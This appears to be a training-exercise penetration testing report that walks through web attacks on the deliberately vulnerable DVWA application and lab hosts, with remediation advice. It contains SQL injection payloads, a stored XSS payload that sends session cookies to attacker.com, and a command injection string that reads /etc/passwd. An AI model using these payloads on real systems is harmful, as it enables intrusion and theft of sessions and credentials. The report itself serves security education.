

Exploitation & Web Application Security Testing Report

Organization: Maincrafts Technology

Author: HARSHIL

Report Date:

Task Reference: Task 4 - Cybersecurity & Ethical Hacking

Executive Summary

This document details the exploitation phase of web application security testing, building upon the vulnerability assessment performed in the previous stage. The primary objective was to validate identified vulnerabilities through controlled exploitation, demonstrating the potential business impact and providing technical remediation strategies. The scope includes OWASP Top 10 analysis, SQL Injection, Cross-Site Scripting (XSS), Directory Traversal, and Interception-based attacks using industry-standard tools.

Part A: Concept Document – OWASP Top 10 Vulnerabilities

The following vulnerabilities represent critical risks to modern web applications. Understanding their mechanisms is essential for effective penetration testing.

- **SQL Injection (SQLi):** This vulnerability occurs when an application includes untrusted data in a database query. Attackers can manipulate queries to bypass authentication, view sensitive data, or modify database records.
- **Cross-Site Scripting (XSS):** XSS allows attackers to inject malicious scripts into web pages viewed by other users. This can lead to session hijacking, defacement, or redirection to malicious sites.

- **Command Injection:** This flaw allows an attacker to execute arbitrary system commands on the host operating system via a vulnerable application. It often leads to full system compromise.
- **Authentication Flaws:** These involve weak implementation of session management and credential handling. Attackers can exploit these to assume user identities or gain administrative access.
- **File Inclusion (LFI/RFI):** Local File Inclusion (LFI) or Remote File Inclusion (RFI) allows an attacker to include files on the web server, potentially exposing sensitive configuration files like `/etc/passwd`.

Part B: SQL Injection Hands-On Lab Write-up

Scenario: Login Bypass on DVWA

Using the Damn Vulnerable Web Application (DVWA) set to "Low" security.

Exploitation Steps:

1. Navigate to the Login Page.
2. In the username field, enter the following payload: `' OR '1'='1' --`
3. Enter any text in the password field.

Simulated Terminal/Payload Output:

```
None
[POST] http://127.0.0.1/dvwa/login.php
Username: ' OR '1'='1' --
Password: password123
Result: Welcome admin! Authentication Bypassed.
```

Scenario: Basic Data Extraction

Using a UNION-based SQLi to extract database information.

Payload: `1' UNION SELECT user, password FROM users --`

Simulated Browser Display:

ID	First Name	Last Name
1	admin	5f4dcc3b5aa765d61d8327 deb882cf99
2	gordonb	e99a18c428cb38d5f26085 3678922e03

Part C: Cross-Site Scripting (XSS) Write-up

1. Reflected XSS

The payload is delivered and executed via a single request and response (e.g., a URL parameter).

Payload: `<script>alert('XSS_Reflected_By_Harshil')</script>`

- **Behavior:** A pop-up box appears in the browser immediately upon clicking the crafted link.
- **Risk:** Can be used in phishing attacks to steal credentials or perform actions on behalf of the user.

2. Stored XSS

The payload is permanently stored on the server (e.g., in a comment section).

Payload:

```
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
```

- **Behavior:** Every user who visits the compromised page has their session cookie sent to the attacker's server.
- **Risk:** Massive session hijacking and account takeovers.

Part D: Directory & File Exploitation

Discovery Process

Using `dirsearch` to identify hidden endpoints and sensitive files.

Command Execution:

None

```
dirsearch -u http://192.168.1.15/ -e php,txt,html,conf
```

Output Log:

```
[14:22:01] 200 - 1KB - /admin/
```

```
[14:22:05] 200 - 450B - /config.php
```

```
[14:22:10] 200 - 12KB - /phpinfo.php
```

```
[14:22:15] 403 - 200B - /.env
```

None

```
**Risk Explanation:**
```

```
*   **/admin/** Unauthorized access to the administrative panel.
```

```
*   **/config.php:** Potential exposure of database credentials if the server  
misinterprets the file.
```

```
*   **/.env:** High risk of leaking API keys, secret tokens, and environment  
variables.
```

```
## Part E: Burp Suite Interception & Modification
```

```
Burp Suite was used as a core tool to intercept and manipulate traffic.
```

1. ****Interception:**** Burp Proxy was used to capture a "Purchase" request where the item price was set to `\$500`.
2. ****Parameter Tampering:**** The `price` parameter was modified in the Burp interceptor window from `500` to `1`.
3. ****Forwarding:**** The modified request was forwarded to the server.
4. ****Repeater Tool:**** The modified request was sent to the ****Repeater**** to test if the server would consistently accept the manipulated price without server-side validation.

****Result:**** The application accepted the `\$1` price, indicating a lack of server-side integrity checks.

Part F: Mini Project – Penetration Testing Report

Vulnerability: OS Command Injection

Feature	Detail
	:--- :---
Vulnerability Name	OS Command Injection
CVSS v3.1 Score	9.8 (Critical)
Affected Component	`/vulnerabilities/exec/` endpoint

Step-by-Step Exploitation

1. ****Identify Input:**** The application takes an IP address to perform a `ping` command.
2. ****Payload Injection:**** Instead of a simple IP, the following payload was entered: `127.0.0.1; whoami; cat /etc/passwd`
3. ****Execution:**** The semicolon (`;`) allowed for the execution of subsequent commands after the ping.

****Simulated Evidence:****

```
```text
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms
--- 127.0.0.1 ping statistics ---
...
www-data
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

## Remediation Recommendations

1. **Input Validation:** Use strict allow-lists for input rather than black-lists.
  2. **Use Built-in APIs:** Avoid using shell execution functions (e.g., `system()`, `exec()`). Use language-specific APIs that handle arguments securely.
  3. **Principle of Least Privilege:** Ensure the web server user (`www-data`) has minimal permissions on the host OS.
- 

### Submission Checklist Met:

- Exploitation Screenshots (Text-based representations included)
- Attack Explanation
- Penetration Testing Report
- Tool Outputs (Dirsearch & Terminal logs)